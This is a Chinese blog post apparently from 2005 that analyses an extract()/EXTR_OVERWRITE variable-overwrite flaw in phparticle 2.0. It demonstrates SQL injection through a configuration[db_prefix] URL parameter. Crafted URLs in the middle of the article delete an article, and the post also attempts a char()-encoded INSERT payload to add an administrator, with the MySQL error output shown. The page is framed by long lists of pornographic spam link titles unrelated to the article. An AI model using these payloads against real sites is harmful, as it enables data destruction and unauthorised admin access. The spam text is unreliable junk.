国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

phparticle 2.0注入漏洞測試分析
2005-12-17   

phparticle是PHP中最好的文章系統了,好像至今還沒有被黑的記錄,我以前學習PHP的時候就是看這個文章系統的代碼,感覺和VBB很相似,而且也仔細分析過,沒有什么漏洞,后來掌握PHP后,也就沒有再去分析他。給我的感覺是很安全的。

前段時間小花和我說phparticle有一個變量沒有初始化,我看了看,的確可以構造這個變量,而且任意一個頁面都可以的,危害嘛,我沒有能力拿到有意義的東西,但是要破壞簡直輕而易舉,唉,終于明白破壞比建設簡單的原因了。

/global.php文件開頭是這樣寫的:

<?php
error_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}

require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";

//var_dump($configuration);
//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

/admin/configs/setting.php文件中,變量$configuration是一個數組,是整個文章系統的配置參數,為了減少查詢次數,把數據庫的配置信息,寫進文件,速度自然快很多,這個本來一切很正常很正常,但是一行代碼,就足以讓phparticle的數據可以瞬間消失。

extract($configuration,EXTR_OVERWRITE);

extract()函數在PHP手冊上是這么寫的:


int extract ( array var_array [, int extract_type [, string prefix]])


本函數用來將變量從數組中導入到當前的符號表中。接受結合數組 var_array 作為參數并將鍵名當作變量名,值作為變量的值。對每個鍵/值對都會在當前的符號表中建立變量,并受到 extract_type 和 prefix 參數的影響。

注: 自版本 4.0.5 起本函數返回被提取的變量數目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引進的。

注: EXTR_REFS 是版本 4.3.0 中引進的。

extract() 檢查每個鍵名看是否可以作為一個合法的變量名,同時也檢查和符號表中已有的變量名的沖突。對待非法/數字和沖突的鍵名的方法將根據 extract_type 參數決定。可以是以下值之一:


EXTR_OVERWRITE
如果有沖突,覆蓋已有的變量。


很顯然,這里可以覆蓋任意變量,甚至系統變量,包括$_GET,$_POST等,真的不明白為什么作者要把上面那行給注釋掉用這個“EXTR_OVERWRITE”。

最關鍵的變量是admin/config.php下的$db_prefix變量,這是表前綴,這個是最有用的,因為phparticle里面的所有查詢都會在表面使用這個變量,肯定能造成SQL注入,但條件極為苛刻。從表的前綴這里構造一個完整的SQL QUERY。然后把后面的語句給注釋掉。呵呵,說不定還可以load_file或者into outfile,竊喜~~

但是實際上并沒有這么順利,為了更清晰的測試。我就為所有的SQL QUERY設置了一個變量$sql,然后在系統的首頁輸出,來看看首先執行的SQL語句是什么,是SELECT就可以注入,這樣能得到很多有用的信息。甚至……,如果是INSERT更好了,直接構造語句插入一個管理員,是UPDATE也可以,把我注冊的用戶UPDATE成管理員組的角色,是DELETE嘛,就可以刪除任意數據,結果輸出的語句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如圖:


非常惱火,如果這個DELETE語句錯誤的話,就會顯示MYSQL的錯誤信息,并停止運行程序,根本不可能執行下一句SQL語句,惱火。而且phparticle的容錯處理非常不錯。沒辦法返回WEB的物理路徑,如果當前的用戶不是管理員,連MYSQL錯誤信息都不能看到,我在本地測試的,因為是管理員,所以MYSQL的出錯信息都返回到屏幕上,對我們測試更加有幫助,咱們構造一個完整的DELETE語句看看,成功以后,應該會繼續執行下一句SQL QUERY,我就隨便提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=angel

結果返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

錯誤了,表不存在,不過數據庫名字已經出來了,就是article20,當然實際應用是看不到這些信息的,因為phparticle有比較完善的會話檢查,所以不管瀏覽或是刷新任何一個頁面,都會先對session表操作,刪除用戶的會話,更新會話,查詢會話,都會有操作,因為用戶登陸,在線用戶,還有用戶的狀態,都是用session記錄的,了解這些以后,開始構造一個完整的DELETE語句再看看下一步該怎么做:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*

返回:

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:\"timezoneoffset\";s:1:\"8\";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

再看看文章系統。文章已經成功刪除。但是SQL QUERY卻停留在SELECT上面了,而且出錯信息已經終止了程序的運行,導致無法執行下一個SQL QUERY,但是從出錯的頁面看來,INSERT語句也用我們的參數執行了,如圖:

 



我就想能不能直接構造INSERT語句加一個管理員呢?

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

結果返回,看來行不通,在第一句SQL QUERY的時候,就出錯終止了。

phpArticle
--------------------------------------------------------------------------------

數據庫出錯:

SQL 無效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:


請嘗試刷新你的瀏覽器,如果仍然無法正常顯示,請聯系管理員.

到了這個地步,我只能無奈的提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*

結束了這次測試。

看來這個phparticle寧死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,記得和我分享啊。


熱詞搜索:

上一篇:用Winsock實現對網站數據庫的數據注入
下一篇:MSSQL db_owner角色注入直接獲得系統權限

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
99久久er热在这里只有精品15| 91久久精品国产91性色tv| 国产一区二区伦理| 久久久久9999亚洲精品| 成人午夜av在线| 亚洲人成亚洲人成在线观看图片| 丁香桃色午夜亚洲一区二区三区| 亚洲国产精品v| 91国在线观看| 综合久久久久久| 欧美精品xxxxbbbb| 韩国女主播成人在线观看| 久久精品视频一区二区| 色综合天天综合在线视频| 日韩制服丝袜先锋影音| 国产欧美精品一区aⅴ影院| 欧美曰成人黄网| 国产一区美女在线| 亚洲免费高清视频在线| 日韩欧美激情在线| 欧洲一区在线观看| 美女一区二区视频| 一区二区三区四区激情| 国产校园另类小说区| 欧美日韩中文字幕精品| 国产乱人伦偷精品视频不卡| 亚洲综合图片区| 国产欧美视频一区二区三区| 欧美片在线播放| 一本到一区二区三区| 国产制服丝袜一区| 男女性色大片免费观看一区二区| 国产精品拍天天在线| 欧美一二三区在线观看| 在线视频一区二区三区| 成人激情小说网站| 国产毛片一区二区| 久久国产精品免费| 亚洲成人动漫在线观看| 亚洲欧美一区二区三区国产精品| 欧美精品一区二区三| 欧美片网站yy| 欧美视频一区二区三区| 91蜜桃视频在线| 99久久夜色精品国产网站| 国产精品 欧美精品| 国产一区视频网站| 国产最新精品免费| 久久99精品久久久久久动态图 | 日本在线不卡视频一二三区| 亚洲视频资源在线| 国产精品国产馆在线真实露脸| 精品va天堂亚洲国产| 日韩一级完整毛片| 欧美一区午夜视频在线观看| 欧美日韩国产小视频| 欧美久久高跟鞋激| 欧美电视剧免费全集观看| 欧美v日韩v国产v| 久久久电影一区二区三区| 久久久久久亚洲综合影院红桃 | 久久综合视频网| 国产欧美一区二区精品久导航| 久久久不卡影院| 亚洲色图欧洲色图| 亚洲一区日韩精品中文字幕| 婷婷开心激情综合| 国产永久精品大片wwwapp| 国产69精品久久99不卡| 99视频有精品| 欧美日韩国产大片| 精品国产91洋老外米糕| 国产色91在线| 亚洲视频在线一区| 日本午夜一本久久久综合| 久久国产麻豆精品| 不卡视频一二三四| 欧美日韩国产大片| 久久久精品国产99久久精品芒果| 中文字幕av一区 二区| 亚洲综合一二区| 国产麻豆91精品| 91天堂素人约啪| 日韩精品中文字幕在线不卡尤物| 国产日韩欧美综合在线| 亚洲一区二区三区美女| 国产精品自在欧美一区| 色八戒一区二区三区| 精品日韩成人av| 亚洲美女在线国产| 国内精品视频666| 91美女福利视频| 久久综合久色欧美综合狠狠| 亚洲免费观看高清完整版在线观看熊| 午夜视频一区二区| 99久久久久久99| 2023国产精华国产精品| 亚洲国产成人av好男人在线观看| 国产精品一区二区在线看| 欧美日韩国产天堂| 国产精品久久三| 国产一区二区三区综合| 欧美日韩精品三区| 综合久久一区二区三区| 久久精品99国产国产精| 色婷婷久久久久swag精品| 欧美成人一区二区三区| 亚洲成年人影院| 在线精品视频免费观看| 国产精品美女www爽爽爽| 黄色小说综合网站| 欧美色视频在线| 亚洲人成在线播放网站岛国| 国产91精品一区二区麻豆亚洲| 日韩精品中文字幕在线不卡尤物| 亚洲午夜三级在线| 91在线码无精品| 综合激情网...| 99久久婷婷国产综合精品| 久久久久99精品国产片| 激情综合五月天| 欧美精品一区二区三区四区 | 欧美色综合影院| 亚洲一区二区三区四区五区中文| 91在线视频免费观看| 亚洲视频免费在线| 色综合中文字幕| 亚洲一区二区欧美激情| 日本道精品一区二区三区| 亚洲日本韩国一区| 91国产丝袜在线播放| 亚洲永久精品大片| 欧美群妇大交群的观看方式| 天使萌一区二区三区免费观看| 欧美巨大另类极品videosbest | 天堂va蜜桃一区二区三区| 欧美日韩国产另类一区| 日韩专区欧美专区| 精品成人在线观看| 高清不卡在线观看av| 国产精品久久久久久久久免费丝袜 | 一区二区三区日韩在线观看| 色综合久久久久综合体| 亚洲成人av中文| 日韩欧美一区二区在线视频| 久久99精品久久只有精品| 国产欧美精品区一区二区三区| 91啪在线观看| 奇米精品一区二区三区在线观看| 精品精品欲导航| 成人国产电影网| 亚洲高清在线精品| 欧美精品一区二区久久久| 国产成人免费在线观看不卡| 成人免费一区二区三区视频| 在线观看不卡一区| 蜜桃av一区二区三区| 国产欧美日产一区| 欧美色成人综合| 高清在线观看日韩| 日韩中文字幕区一区有砖一区| 久久精品亚洲乱码伦伦中文| 色综合激情五月| 国产一区二区在线观看免费| 亚洲欧美日韩成人高清在线一区| 日韩一区二区三区免费看| 国产福利精品一区二区| 亚洲综合免费观看高清在线观看| 日韩丝袜美女视频| 91成人网在线| 国产成人自拍网| 亚洲成a天堂v人片| 国产欧美在线观看一区| 欧美日产国产精品| 91污在线观看| 国产福利精品导航| 美女视频黄 久久| 亚洲成人免费视| 亚洲日本丝袜连裤袜办公室| 中文字幕视频一区二区三区久| 91麻豆精品国产91久久久久久| 成人手机电影网| 精品无码三级在线观看视频 | 精品一区二区三区在线观看| 亚洲自拍与偷拍| 日韩伦理免费电影| 国产亚洲自拍一区| 精品国产sm最大网站免费看| 91九色02白丝porn| av一区二区三区四区| 国产成人在线视频网址| 久久97超碰色| 久久激情五月激情| 日本美女一区二区三区| 亚洲va国产天堂va久久en| 国产精品久久久久久久久快鸭| 国产欧美一区二区在线| 国产香蕉久久精品综合网| 久久综合色8888| 国产欧美日韩中文久久|